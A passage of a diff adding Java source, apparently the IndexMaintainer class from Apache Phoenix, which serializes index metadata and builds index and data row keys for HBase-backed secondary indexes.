+                return !PIndexState.DISABLE.equals(index.getIndexState()) && index.getIndexType().equals(IndexType.LOCAL);
+            }
+        });
+    }
+    
+    /**
+     * For client-side to serialize all IndexMaintainers for a given table
+     * @param dataTable data table
+     * @param ptr bytes pointer to hold returned serialized value
+     */
+    public static void serialize(PTable dataTable, ImmutableBytesWritable ptr, PhoenixConnection connection) {
+        List<PTable> indexes = dataTable.getIndexes();
+        serialize(dataTable, ptr, indexes, connection);
+    }
+
+    /**
+     * For client-side to serialize all IndexMaintainers for a given table
+     * @param dataTable data table
+     * @param ptr bytes pointer to hold returned serialized value
+     * @param indexes indexes to serialize
+     */
+    public static void serialize(PTable dataTable, ImmutableBytesWritable ptr,
+            List<PTable> indexes, PhoenixConnection connection) {
+        Iterator<PTable> indexesItr = nonDisabledIndexIterator(indexes.iterator());
+        if ((dataTable.isImmutableRows()) || !indexesItr.hasNext()) {
+            indexesItr = enabledLocalIndexIterator(indexesItr);
+            if (!indexesItr.hasNext()) {
+                ptr.set(ByteUtil.EMPTY_BYTE_ARRAY);
+                return;
+            }
+        }
+        int nIndexes = 0;
+        while (indexesItr.hasNext()) {
+            nIndexes++;
+            indexesItr.next();
+        }
+        ByteArrayOutputStream stream = new ByteArrayOutputStream();
+        DataOutputStream output = new DataOutputStream(stream);
+        try {
+            // Encode data table salting in sign of number of indexes
+            WritableUtils.writeVInt(output, nIndexes * (dataTable.getBucketNum() == null ? 1 : -1));
+            // Write out data row key schema once, since it's the same for all index maintainers
+            dataTable.getRowKeySchema().write(output);
+            indexesItr =
+                    dataTable.isImmutableRows() ? enabledLocalIndexIterator(indexes.iterator())
+                            : nonDisabledIndexIterator(indexes.iterator());
+            while (indexesItr.hasNext()) {
+                    org.apache.phoenix.coprocessor.generated.ServerCachingProtos.IndexMaintainer proto = IndexMaintainer.toProto(indexesItr.next().getIndexMaintainer(dataTable, connection));
+                    byte[] protoBytes = proto.toByteArray();
+                    WritableUtils.writeVInt(output, protoBytes.length);
+                    output.write(protoBytes);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        }
+        ptr.set(stream.toByteArray(), 0, stream.size());
+    }
+    
+    /**
+     * For client-side to append serialized IndexMaintainers of keyValueIndexes
+     * @param dataTable data table
+     * @param indexMetaDataPtr bytes pointer to hold returned serialized value
+     * @param keyValueIndexes indexes to serialize
+     */
+    public static void serializeAdditional(PTable table, ImmutableBytesWritable indexMetaDataPtr,
+            List<PTable> keyValueIndexes, PhoenixConnection connection) {
+        int nMutableIndexes = indexMetaDataPtr.getLength() == 0 ? 0 : ByteUtil.vintFromBytes(indexMetaDataPtr);
+        int nIndexes = nMutableIndexes + keyValueIndexes.size();
+        int estimatedSize = indexMetaDataPtr.getLength() + 1; // Just in case new size increases buffer
+        if (indexMetaDataPtr.getLength() == 0) {
+            estimatedSize += table.getRowKeySchema().getEstimatedByteSize();
+        }
+        for (PTable index : keyValueIndexes) {
+            estimatedSize += index.getIndexMaintainer(table, connection).getEstimatedByteSize();
+        }
+        TrustedByteArrayOutputStream stream = new TrustedByteArrayOutputStream(estimatedSize + 1);
+        DataOutput output = new DataOutputStream(stream);
+        try {
+            // Encode data table salting in sign of number of indexes
+            WritableUtils.writeVInt(output, nIndexes * (table.getBucketNum() == null ? 1 : -1));
+            // Serialize current mutable indexes, subtracting the vint size from the length
+            // as its still included
+            if (indexMetaDataPtr.getLength() > 0) {
+                output.write(indexMetaDataPtr.get(), indexMetaDataPtr.getOffset(), indexMetaDataPtr.getLength()-WritableUtils.getVIntSize(nMutableIndexes));
+            } else {
+                table.getRowKeySchema().write(output);
+            }
+            // Serialize mutable indexes afterwards
+            for (PTable index : keyValueIndexes) {
+                IndexMaintainer maintainer = index.getIndexMaintainer(table, connection);
+                byte[] protoBytes = IndexMaintainer.toProto(maintainer).toByteArray();
+                WritableUtils.writeVInt(output, protoBytes.length);
+                output.write(protoBytes);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        }
+        indexMetaDataPtr.set(stream.getBuffer(), 0, stream.size());
+    }
+    
+    public static List<IndexMaintainer> deserialize(ImmutableBytesWritable metaDataPtr,
+            KeyValueBuilder builder, boolean useProtoForIndexMaintainer) {
+        return deserialize(metaDataPtr.get(), metaDataPtr.getOffset(), metaDataPtr.getLength(), useProtoForIndexMaintainer);
+    }
+    
+    public static List<IndexMaintainer> deserialize(byte[] buf, boolean useProtoForIndexMaintainer) {
+        return deserialize(buf, 0, buf.length, useProtoForIndexMaintainer);
+    }
+
+    private static List<IndexMaintainer> deserialize(byte[] buf, int offset, int length, boolean useProtoForIndexMaintainer) {
+        ByteArrayInputStream stream = new ByteArrayInputStream(buf, offset, length);
+        DataInput input = new DataInputStream(stream);
+        List<IndexMaintainer> maintainers = Collections.emptyList();
+        try {
+            int size = WritableUtils.readVInt(input);
+            boolean isDataTableSalted = size < 0;
+            size = Math.abs(size);
+            RowKeySchema rowKeySchema = new RowKeySchema();
+            rowKeySchema.readFields(input);
+            maintainers = Lists.newArrayListWithExpectedSize(size);
+            for (int i = 0; i < size; i++) {
+                if (useProtoForIndexMaintainer) {
+                  int protoSize = WritableUtils.readVInt(input);
+                  byte[] b = new byte[protoSize];
+                  input.readFully(b);
+                  org.apache.phoenix.coprocessor.generated.ServerCachingProtos.IndexMaintainer proto = ServerCachingProtos.IndexMaintainer.parseFrom(b);
+                  maintainers.add(IndexMaintainer.fromProto(proto, rowKeySchema, isDataTableSalted));
+                } else {
+                    IndexMaintainer maintainer = new IndexMaintainer(rowKeySchema, isDataTableSalted);
+                    maintainer.readFields(input);
+                    maintainers.add(maintainer);
+                }
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        }
+        return maintainers;
+    }
+    
+    private byte[] viewIndexId;
+    private boolean isMultiTenant;
+    // indexed expressions that are not present in the row key of the data table, the expression can also refer to a regular column
+    private List<Expression> indexedExpressions;
+    // columns required to evaluate all expressions in indexedExpressions (this does not include columns in the data row key)
+    private Set<ColumnReference> indexedColumns;
+    
+    // columns required to create index row i.e. indexedColumns + coveredColumns  (this does not include columns in the data row key)
+    private Set<ColumnReference> allColumns;
+    // TODO remove this in the next major release
+    private List<PDataType> indexedColumnTypes;
+    private RowKeyMetaData rowKeyMetaData;
+    private byte[] indexTableName;
+    private int nIndexSaltBuckets;
+    private byte[] dataEmptyKeyValueCF;
+    private ImmutableBytesPtr emptyKeyValueCFPtr;
+    private int nDataCFs;
+    private boolean indexWALDisabled;
+    private boolean isLocalIndex;
+    private boolean immutableRows;
+    // Transient state
+    private final boolean isDataTableSalted;
+    private final RowKeySchema dataRowKeySchema;
+    
+    private int estimatedIndexRowKeyBytes;
+    private int estimatedExpressionSize;
+    private int[] dataPkPosition;
+    private int maxTrailingNulls;
+    private ColumnReference dataEmptyKeyValueRef;
+    private boolean rowKeyOrderOptimizable;
+    
+    /**** START: New member variables added in 4.10 *****/ 
+    private QualifierEncodingScheme encodingScheme;
+    private ImmutableStorageScheme immutableStorageScheme;
+    /*
+     * Information for columns of data tables that are being indexed. The first part of the pair is column family name
+     * and second part is the column name. The reason we need to track this state is because for certain storage schemes
+     * like ImmutableStorageScheme#SINGLE_CELL_ARRAY_WITH_OFFSETS, the column for which we need to generate an index
+     * table put/delete is different from the columns that are indexed in the phoenix schema. This information helps us
+     * determine whether or not certain operations like DROP COLUMN should impact the index.
+     */
+    private Set<Pair<String, String>> indexedColumnsInfo;
+    /*
+     * Map of covered columns where a key is column reference for a column in the data table
+     * and value is column reference for corresponding column in the index table.
+     */
+    private Map<ColumnReference, ColumnReference> coveredColumnsMap;
+    /**** END: New member variables added in 4.10 *****/
+
+    private IndexMaintainer(RowKeySchema dataRowKeySchema, boolean isDataTableSalted) {
+        this.dataRowKeySchema = dataRowKeySchema;
+        this.isDataTableSalted = isDataTableSalted;
+    }
+    
+    private IndexMaintainer(final PTable dataTable, final PTable index, PhoenixConnection connection) {
+        this(dataTable.getRowKeySchema(), dataTable.getBucketNum() != null);
+        assert(dataTable.getType() == PTableType.SYSTEM || dataTable.getType() == PTableType.TABLE || dataTable.getType() == PTableType.VIEW);
+        this.rowKeyOrderOptimizable = index.rowKeyOrderOptimizable();
+        this.isMultiTenant = dataTable.isMultiTenant();
+        this.viewIndexId = index.getViewIndexId() == null ? null : MetaDataUtil.getViewIndexIdDataType().toBytes(index.getViewIndexId());
+        this.isLocalIndex = index.getIndexType() == IndexType.LOCAL;
+        this.encodingScheme = index.getEncodingScheme();
+        
+        // null check for b/w compatibility
+        this.encodingScheme = index.getEncodingScheme() == null ? QualifierEncodingScheme.NON_ENCODED_QUALIFIERS : index.getEncodingScheme();
+        this.immutableStorageScheme = index.getImmutableStorageScheme() == null ? ImmutableStorageScheme.ONE_CELL_PER_COLUMN : index.getImmutableStorageScheme();
+        
+        byte[] indexTableName = index.getPhysicalName().getBytes();
+        // Use this for the nDataSaltBuckets as we need this for local indexes
+        // TODO: persist nDataSaltBuckets separately, but maintain b/w compat.
+        Integer nIndexSaltBuckets = isLocalIndex ? dataTable.getBucketNum() : index.getBucketNum();
+        boolean indexWALDisabled = index.isWALDisabled();
+        int indexPosOffset = (index.getBucketNum() == null ? 0 : 1) + (this.isMultiTenant ? 1 : 0) + (this.viewIndexId == null ? 0 : 1);
+        int nIndexColumns = index.getColumns().size() - indexPosOffset;
+        int nIndexPKColumns = index.getPKColumns().size() - indexPosOffset;
+        // number of expressions that are indexed that are not present in the row key of the data table
+        int indexedExpressionCount = 0;
+        for (int i = indexPosOffset; i<index.getPKColumns().size();i++) {
+        	PColumn indexColumn = index.getPKColumns().get(i);
+        	String indexColumnName = indexColumn.getName().getString();
+            String dataFamilyName = IndexUtil.getDataColumnFamilyName(indexColumnName);
+            String dataColumnName = IndexUtil.getDataColumnName(indexColumnName);
+            try {
+                PColumn dataColumn = dataFamilyName.equals("") ? dataTable.getColumnForColumnName(dataColumnName) : dataTable.getColumnFamily(dataFamilyName).getPColumnForColumnName(dataColumnName);
+                if (SchemaUtil.isPKColumn(dataColumn)) 
+                    continue;
+            } catch (ColumnNotFoundException e) {
+             // This column must be an expression
+            } catch (Exception e) {
+                throw new IllegalArgumentException(e);
+            }
+            indexedExpressionCount++;
+        }
+        int indexPkColumnCount = this.dataRowKeySchema.getFieldCount() + indexedExpressionCount  - (this.isDataTableSalted ? 1 : 0) - (this.isMultiTenant ? 1 : 0);
+        this.rowKeyMetaData = newRowKeyMetaData(indexPkColumnCount);
+        BitSet bitSet = this.rowKeyMetaData.getViewConstantColumnBitSet();
+
+        int dataPosOffset = (isDataTableSalted ? 1 : 0) + (this.isMultiTenant ? 1 : 0);
+        int nDataPKColumns = dataRowKeySchema.getFieldCount() - dataPosOffset;
+        // For indexes on views, we need to remember which data columns are "constants"
+        // These are the values in a VIEW where clause. For these, we don't put them in the
+        // index, as they're the same for every row in the index.
+        if (dataTable.getType() == PTableType.VIEW) {
+            List<PColumn>dataPKColumns = dataTable.getPKColumns();
+            for (int i = dataPosOffset; i < dataPKColumns.size(); i++) {
+                PColumn dataPKColumn = dataPKColumns.get(i);
+                if (dataPKColumn.getViewConstant() != null) {
+                    bitSet.set(i);
+                    nDataPKColumns--;
+                }
+            }
+        }
+        this.indexTableName = indexTableName;
+        this.indexedColumnTypes = Lists.<PDataType>newArrayListWithExpectedSize(nIndexPKColumns-nDataPKColumns);
+        this.indexedExpressions = Lists.newArrayListWithExpectedSize(nIndexPKColumns-nDataPKColumns);
+        this.coveredColumnsMap = Maps.newHashMapWithExpectedSize(nIndexColumns - nIndexPKColumns);
+        this.nIndexSaltBuckets  = nIndexSaltBuckets == null ? 0 : nIndexSaltBuckets;
+        this.dataEmptyKeyValueCF = SchemaUtil.getEmptyColumnFamily(dataTable);
+        this.emptyKeyValueCFPtr = SchemaUtil.getEmptyColumnFamilyPtr(index);
+        this.nDataCFs = dataTable.getColumnFamilies().size();
+        this.indexWALDisabled = indexWALDisabled;
+        // TODO: check whether index is immutable or not. Currently it's always false so checking
+        // data table is with immutable rows or not.
+        this.immutableRows = dataTable.isImmutableRows();
+        int indexColByteSize = 0;
+        ColumnResolver resolver = null;
+        List<ParseNode> parseNodes = new ArrayList<ParseNode>(1);
+        UDFParseNodeVisitor visitor = new UDFParseNodeVisitor();
+        for (int i = indexPosOffset; i < index.getPKColumns().size(); i++) {
+            PColumn indexColumn = index.getPKColumns().get(i);
+            String expressionStr = IndexUtil.getIndexColumnExpressionStr(indexColumn);
+            try {
+                ParseNode parseNode  = SQLParser.parseCondition(expressionStr);
+                parseNode.accept(visitor);
+                parseNodes.add(parseNode);
+            } catch (SQLException e) {
+                throw new RuntimeException(e);
+            }
+        }
+        try {
+            resolver = FromCompiler.getResolver(connection, new TableRef(dataTable), visitor.getUdfParseNodes());
+        } catch (SQLException e) {
+            throw new RuntimeException(e); // Impossible
+        }
+        StatementContext context = new StatementContext(new PhoenixStatement(connection), resolver);
+        this.indexedColumnsInfo = Sets.newHashSetWithExpectedSize(nIndexColumns - nIndexPKColumns);
+        
+        IndexExpressionCompiler expressionIndexCompiler = new IndexExpressionCompiler(context);
+        for (int i = indexPosOffset; i < index.getPKColumns().size(); i++) {
+            PColumn indexColumn = index.getPKColumns().get(i);
+            int indexPos = i - indexPosOffset;
+            Expression expression = null;
+            try {
+                expressionIndexCompiler.reset();
+                expression = parseNodes.get(indexPos).accept(expressionIndexCompiler);
+            } catch (SQLException e) {
+                throw new RuntimeException(e); // Impossible
+            }
+            if ( expressionIndexCompiler.getColumnRef()!=null ) {
+            	// get the column of the data column that corresponds to this index column
+	            PColumn column = IndexUtil.getDataColumn(dataTable, indexColumn.getName().getString());
+	            boolean isPKColumn = SchemaUtil.isPKColumn(column);
+	            if (isPKColumn) {
+	                int dataPkPos = dataTable.getPKColumns().indexOf(column) - (dataTable.getBucketNum() == null ? 0 : 1) - (this.isMultiTenant ? 1 : 0);
+	                this.rowKeyMetaData.setIndexPkPosition(dataPkPos, indexPos);
+	                indexedColumnsInfo.add(new Pair<>((String)null, column.getName().getString()));
+	            } else {
+	                indexColByteSize += column.getDataType().isFixedWidth() ? SchemaUtil.getFixedByteSize(column) : ValueSchema.ESTIMATED_VARIABLE_LENGTH_SIZE;
+	                try {
+	                    // Surround constant with cast so that we can still know the original type. Otherwise, if we lose the type,
+	                    // (for example when VARCHAR becomes CHAR), it can lead to problems in the type translation we do between data tables and indexes.
+	                    if (column.isNullable() && ExpressionUtil.isConstant(expression)) {
+	                        expression = CoerceExpression.create(expression, indexColumn.getDataType());
+	                    }
+                        this.indexedExpressions.add(expression);
+                        indexedColumnsInfo.add(new Pair<>(column.getFamilyName().getString(), column.getName().getString()));
+                    } catch (SQLException e) {
+                        throw new RuntimeException(e); // Impossible
+                    }
+	            }
+            }
+            else {
+            	indexColByteSize += expression.getDataType().isFixedWidth() ? SchemaUtil.getFixedByteSize(expression) : ValueSchema.ESTIMATED_VARIABLE_LENGTH_SIZE;
+                this.indexedExpressions.add(expression);
+                KeyValueExpressionVisitor kvVisitor = new KeyValueExpressionVisitor() {
+                    @Override
+                    public Void visit(KeyValueColumnExpression colExpression) {
+                        return addDataColInfo(dataTable, colExpression);
+                    }
+
+                    @Override
+                    public Void visit(SingleCellColumnExpression expression) {
+                        return addDataColInfo(dataTable, expression);
+                    }
+
+                    private Void addDataColInfo(final PTable dataTable, Expression expression) {
+                        Preconditions.checkArgument(expression instanceof SingleCellColumnExpression
+                                || expression instanceof KeyValueColumnExpression);
+
+                        KeyValueColumnExpression colExpression = null;
+                        if (expression instanceof SingleCellColumnExpression) {
+                            colExpression =
+                                    ((SingleCellColumnExpression) expression).getKeyValueExpression();
+                        } else {
+                            colExpression = ((KeyValueColumnExpression) expression);
+                        }
+                        byte[] cf = colExpression.getColumnFamily();
+                        byte[] cq = colExpression.getColumnQualifier();
+                        try {
+                            PColumn dataColumn =
+                                    cf == null ? dataTable.getColumnForColumnQualifier(null, cq)
+                                            : dataTable.getColumnFamily(cf)
+                                                    .getPColumnForColumnQualifier(cq);
+                            indexedColumnsInfo.add(new Pair<>(dataColumn.getFamilyName()
+                                    .getString(), dataColumn.getName().getString()));
+                        } catch (ColumnNotFoundException | ColumnFamilyNotFoundException
+                                | AmbiguousColumnException e) {
+                            throw new RuntimeException(e);
+                        }
+                        return null;
+                    }
+                };
+                expression.accept(kvVisitor);
+            }
+            // set the sort order of the expression correctly
+            if (indexColumn.getSortOrder() == SortOrder.DESC) {
+                this.rowKeyMetaData.getDescIndexColumnBitSet().set(indexPos);
+            }
+        }
+        this.estimatedExpressionSize = expressionIndexCompiler.getTotalNodeCount() * ESTIMATED_EXPRESSION_SIZE;
+        for (int i = 0; i < index.getColumnFamilies().size(); i++) {
+            PColumnFamily family = index.getColumnFamilies().get(i);
+            for (PColumn indexColumn : family.getColumns()) {
+                PColumn dataColumn = IndexUtil.getDataColumn(dataTable, indexColumn.getName().getString());
+                byte[] dataColumnCq = dataColumn.getColumnQualifierBytes();
+                byte[] indexColumnCq = indexColumn.getColumnQualifierBytes();
+                this.coveredColumnsMap.put(new ColumnReference(dataColumn.getFamilyName().getBytes(), dataColumnCq), 
+                        new ColumnReference(indexColumn.getFamilyName().getBytes(), indexColumnCq));
+            }
+        }
+        this.estimatedIndexRowKeyBytes = estimateIndexRowKeyByteSize(indexColByteSize);
+        initCachedState();
+    }
+    
+    public byte[] buildRowKey(ValueGetter valueGetter, ImmutableBytesWritable rowKeyPtr, byte[] regionStartKey, byte[] regionEndKey)  {
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        boolean prependRegionStartKey = isLocalIndex && regionStartKey != null;
+        boolean isIndexSalted = !isLocalIndex && nIndexSaltBuckets > 0;
+        int prefixKeyLength =
+                prependRegionStartKey ? (regionStartKey.length != 0 ? regionStartKey.length
+                        : regionEndKey.length) : 0; 
+        TrustedByteArrayOutputStream stream = new TrustedByteArrayOutputStream(estimatedIndexRowKeyBytes + (prependRegionStartKey ? prefixKeyLength : 0));
+        DataOutput output = new DataOutputStream(stream);
+        try {
+            // For local indexes, we must prepend the row key with the start region key
+            if (prependRegionStartKey) {
+                if (regionStartKey.length == 0) {
+                    output.write(new byte[prefixKeyLength]);
+                } else {
+                    output.write(regionStartKey);
+                }
+            }
+            if (isIndexSalted) {
+                output.write(0); // will be set at end to index salt byte
+            }
+            // The dataRowKeySchema includes the salt byte field,
+            // so we must adjust for that here.
+            int dataPosOffset = isDataTableSalted ? 1 : 0 ;
+            BitSet viewConstantColumnBitSet = this.rowKeyMetaData.getViewConstantColumnBitSet();
+            int nIndexedColumns = getIndexPkColumnCount() - getNumViewConstants();
+            int[][] dataRowKeyLocator = new int[2][nIndexedColumns];
+            // Skip data table salt byte
+            int maxRowKeyOffset = rowKeyPtr.getOffset() + rowKeyPtr.getLength();
+            dataRowKeySchema.iterator(rowKeyPtr, ptr, dataPosOffset);
+            
+            if (viewIndexId != null) {
+                output.write(viewIndexId);
+            }
+            
+            if (isMultiTenant) {
+                dataRowKeySchema.next(ptr, dataPosOffset, maxRowKeyOffset);
+                output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                if (!dataRowKeySchema.getField(dataPosOffset).getDataType().isFixedWidth()) {
+                    output.writeByte(SchemaUtil.getSeparatorByte(rowKeyOrderOptimizable, ptr.getLength()==0, dataRowKeySchema.getField(dataPosOffset)));
+                }
+                dataPosOffset++;
+            }
+            
+            // Write index row key
+            for (int i = dataPosOffset; i < dataRowKeySchema.getFieldCount(); i++) {
+                Boolean hasValue=dataRowKeySchema.next(ptr, i, maxRowKeyOffset);
+                // Ignore view constants from the data table, as these
+                // don't need to appear in the index (as they're the
+                // same for all rows in this index)
+                if (!viewConstantColumnBitSet.get(i)) {
+                    int pos = rowKeyMetaData.getIndexPkPosition(i-dataPosOffset);
+                    if (Boolean.TRUE.equals(hasValue)) {
+                        dataRowKeyLocator[0][pos] = ptr.getOffset();
+                        dataRowKeyLocator[1][pos] = ptr.getLength();
+                    } else {
+                        dataRowKeyLocator[0][pos] = 0;
+                        dataRowKeyLocator[1][pos] = 0;
+                    }
+                } 
+            }
+            BitSet descIndexColumnBitSet = rowKeyMetaData.getDescIndexColumnBitSet();
+            Iterator<Expression> expressionIterator = indexedExpressions.iterator();
+            for (int i = 0; i < nIndexedColumns; i++) {
+                PDataType dataColumnType;
+                boolean isNullable;
+                SortOrder dataSortOrder;
+                if (dataPkPosition[i] == EXPRESSION_NOT_PRESENT) {
+                	Expression expression = expressionIterator.next();
+                	dataColumnType = expression.getDataType();
+                	dataSortOrder = expression.getSortOrder();
+                    isNullable = expression.isNullable();
+                	expression.evaluate(new ValueGetterTuple(valueGetter), ptr);
+                }
+                else {
+                    Field field = dataRowKeySchema.getField(dataPkPosition[i]);
+                    dataColumnType = field.getDataType();
+                    ptr.set(rowKeyPtr.get(), dataRowKeyLocator[0][i], dataRowKeyLocator[1][i]);
+                    dataSortOrder = field.getSortOrder();
+                    isNullable = field.isNullable();
+                }
+                boolean isDataColumnInverted = dataSortOrder != SortOrder.ASC;
+                PDataType indexColumnType = IndexUtil.getIndexColumnDataType(isNullable, dataColumnType);
+                boolean isBytesComparable = dataColumnType.isBytesComparableWith(indexColumnType);
+                boolean isIndexColumnDesc = descIndexColumnBitSet.get(i);
+                if (isBytesComparable && isDataColumnInverted == isIndexColumnDesc) {
+                    output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                } else {
+                    if (!isBytesComparable)  {
+                        indexColumnType.coerceBytes(ptr, dataColumnType, dataSortOrder, SortOrder.getDefault());
+                    }
+                    if (isDataColumnInverted != isIndexColumnDesc) {
+                        writeInverted(ptr.get(), ptr.getOffset(), ptr.getLength(), output);
+                    } else {
+                        output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                    }
+                }
+                if (!indexColumnType.isFixedWidth()) {
+                    output.writeByte(SchemaUtil.getSeparatorByte(rowKeyOrderOptimizable, ptr.getLength() == 0, isIndexColumnDesc ? SortOrder.DESC : SortOrder.ASC));
+                }
+            }
+            int length = stream.size();
+            int minLength = length - maxTrailingNulls;
+            byte[] indexRowKey = stream.getBuffer();
+            // Remove trailing nulls
+            while (length > minLength && indexRowKey[length-1] == QueryConstants.SEPARATOR_BYTE) {
+                length--;
+            }
+            if (isIndexSalted) {
+                // Set salt byte
+                byte saltByte = SaltingUtil.getSaltingByte(indexRowKey, SaltingUtil.NUM_SALTING_BYTES, length-SaltingUtil.NUM_SALTING_BYTES, nIndexSaltBuckets);
+                indexRowKey[0] = saltByte;
+            }
+            return indexRowKey.length == length ? indexRowKey : Arrays.copyOf(indexRowKey, length);
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        } finally {
+            try {
+                stream.close();
+            } catch (IOException e) {
+                throw new RuntimeException(e); // Impossible
+            }
+        }
+    }
+
+    /*
+     * Build the data row key from the index row key
+     */
+    public byte[] buildDataRowKey(ImmutableBytesWritable indexRowKeyPtr, byte[][] viewConstants)  {
+        RowKeySchema indexRowKeySchema = getIndexRowKeySchema();
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        TrustedByteArrayOutputStream stream = new TrustedByteArrayOutputStream(estimatedIndexRowKeyBytes);
+        DataOutput output = new DataOutputStream(stream);
+        // Increment dataPosOffset until all have been written
+        int dataPosOffset = 0;
+        int viewConstantsIndex = 0;
+        try {
+            int indexPosOffset = !isLocalIndex && nIndexSaltBuckets > 0 ? 1 : 0;
+            int maxRowKeyOffset = indexRowKeyPtr.getOffset() + indexRowKeyPtr.getLength();
+            indexRowKeySchema.iterator(indexRowKeyPtr, ptr, indexPosOffset);
+            if (isDataTableSalted) {
+                dataPosOffset++;
+                output.write(0); // will be set at end to salt byte
+            }
+            if (viewIndexId != null) {
+                indexRowKeySchema.next(ptr, indexPosOffset++, maxRowKeyOffset);
+            }
+            if (isMultiTenant) {
+                indexRowKeySchema.next(ptr, indexPosOffset, maxRowKeyOffset);
+                output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                if (!dataRowKeySchema.getField(dataPosOffset).getDataType().isFixedWidth()) {
+                    output.writeByte(SchemaUtil.getSeparatorByte(rowKeyOrderOptimizable, ptr.getLength() == 0, dataRowKeySchema.getField(dataPosOffset)));
+                }
+                indexPosOffset++;
+                dataPosOffset++;
+            }
+            indexPosOffset = (!isLocalIndex && nIndexSaltBuckets > 0 ? 1 : 0) + (isMultiTenant ? 1 : 0) + (viewIndexId == null ? 0 : 1);
+            BitSet viewConstantColumnBitSet = this.rowKeyMetaData.getViewConstantColumnBitSet();
+            BitSet descIndexColumnBitSet = rowKeyMetaData.getDescIndexColumnBitSet();
+            for (int i = dataPosOffset; i < dataRowKeySchema.getFieldCount(); i++) {
+                // Write view constants from the data table, as these
+                // won't appear in the index (as they're the
+                // same for all rows in this index)
+                if (viewConstantColumnBitSet.get(i)) {
+                    output.write(viewConstants[viewConstantsIndex++]);
+                } else {
+                    int pos = rowKeyMetaData.getIndexPkPosition(i-dataPosOffset);
+                    Boolean hasValue=indexRowKeySchema.iterator(indexRowKeyPtr, ptr, pos + indexPosOffset+1);
+                    if (Boolean.TRUE.equals(hasValue)) {
+                        // Write data row key value taking into account coercion and inversion
+                        // if necessary
+                        Field dataField = dataRowKeySchema.getField(i);
+                        Field indexField = indexRowKeySchema.getField(pos + indexPosOffset);
+                        PDataType indexColumnType = indexField.getDataType();
+                        PDataType dataColumnType = dataField.getDataType();
+                        SortOrder dataSortOrder = dataField.getSortOrder();
+                        SortOrder indexSortOrder = indexField.getSortOrder();
+                        boolean isDataColumnInverted = dataSortOrder != SortOrder.ASC;
+                        boolean isBytesComparable = dataColumnType.isBytesComparableWith(indexColumnType) ;
+                        if (isBytesComparable && isDataColumnInverted == descIndexColumnBitSet.get(pos)) {
+                            output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                        } else {
+                            if (!isBytesComparable)  {
+                                dataColumnType.coerceBytes(ptr, indexColumnType, indexSortOrder, SortOrder.getDefault());
+                            }
+                            if (descIndexColumnBitSet.get(pos) != isDataColumnInverted) {
+                                writeInverted(ptr.get(), ptr.getOffset(), ptr.getLength(), output);
+                            } else {
+                                output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+                            }
+                        }
+                    }
+                }
+                // Write separator byte if variable length unless it's the last field in the schema
+                // (but we still need to write it if it's DESC to ensure sort order is correct).
+                byte sepByte = SchemaUtil.getSeparatorByte(rowKeyOrderOptimizable, ptr.getLength() == 0, dataRowKeySchema.getField(i));
+                if (!dataRowKeySchema.getField(i).getDataType().isFixedWidth() && (((i+1) !=  dataRowKeySchema.getFieldCount()) || sepByte == QueryConstants.DESC_SEPARATOR_BYTE)) {
+                    output.writeByte(sepByte);
+                }
+            }
+            int length = stream.size();
+            int minLength = length - maxTrailingNulls;
+            byte[] dataRowKey = stream.getBuffer();
+            // Remove trailing nulls
+            while (length > minLength && dataRowKey[length-1] == QueryConstants.SEPARATOR_BYTE) {
+                length--;
+            }
+            // TODO: need to capture nDataSaltBuckets instead of just a boolean. For now,
+            // we store this in nIndexSaltBuckets, as we only use this function for local indexes
+            // in which case nIndexSaltBuckets would never be used. Note that when we do add this
+            // to be serialized, we have to add it at the end and allow for the value not being
+            // there to maintain compatibility between an old client and a new server.
+            if (isDataTableSalted) {
+                // Set salt byte
+                byte saltByte = SaltingUtil.getSaltingByte(dataRowKey, SaltingUtil.NUM_SALTING_BYTES, length-SaltingUtil.NUM_SALTING_BYTES, nIndexSaltBuckets);
+                dataRowKey[0] = saltByte;
+            }
+            return dataRowKey.length == length ? dataRowKey : Arrays.copyOf(dataRowKey, length);
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        } finally {
+            try {
+                stream.close();
+            } catch (IOException e) {
+                throw new RuntimeException(e); // Impossible
+            }
+        }
+    }
+    
+    /*
+     * return the view index id from the index row key
+     */
+    public byte[] getViewIndexIdFromIndexRowKey(ImmutableBytesWritable indexRowKeyPtr) {
+        assert(isLocalIndex);
+        RowKeySchema indexRowKeySchema = getIndexRowKeySchema();
+        // TODO add logic to skip region start key as well because we cannot find the region startkey in indexhalfstorefilereader.
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        TrustedByteArrayOutputStream stream =
+                new TrustedByteArrayOutputStream(estimatedIndexRowKeyBytes);
+        DataOutput output = new DataOutputStream(stream);
+        try {
+            int indexPosOffset = (!isLocalIndex && nIndexSaltBuckets > 0 ? 1 : 0) + (isMultiTenant ? 1 : 0) + (viewIndexId == null ? 0 : 1);
+            Boolean hasValue =
+                    indexRowKeySchema.iterator(indexRowKeyPtr, ptr, indexPosOffset);
+            if (Boolean.TRUE.equals(hasValue)) {
+                    output.write(ptr.get(), ptr.getOffset(), ptr.getLength());
+            }
+            int length = stream.size();
+            byte[] dataRowKey = stream.getBuffer();
+            return dataRowKey.length == length ? dataRowKey : Arrays.copyOf(dataRowKey, length);
+        } catch (IOException e) {
+            throw new RuntimeException(e); // Impossible
+        } finally {
+            try {
+                stream.close();
+            } catch (IOException e) {
+                throw new RuntimeException(e); // Impossible
+            }
+        }
+    }
+
+    private volatile RowKeySchema indexRowKeySchema;
+    
+    // We have enough information to generate the index row key schema
+    private RowKeySchema generateIndexRowKeySchema() {
+        int nIndexedColumns = getIndexPkColumnCount() + (isMultiTenant ? 1 : 0) + (!isLocalIndex && nIndexSaltBuckets > 0 ? 1 : 0) + (viewIndexId != null ? 1 : 0) - getNumViewConstants();
+        RowKeySchema.RowKeySchemaBuilder builder = new RowKeySchema.RowKeySchemaBuilder(nIndexedColumns);
+        builder.rowKeyOrderOptimizable(rowKeyOrderOptimizable);
+        if (!isLocalIndex && nIndexSaltBuckets > 0) {
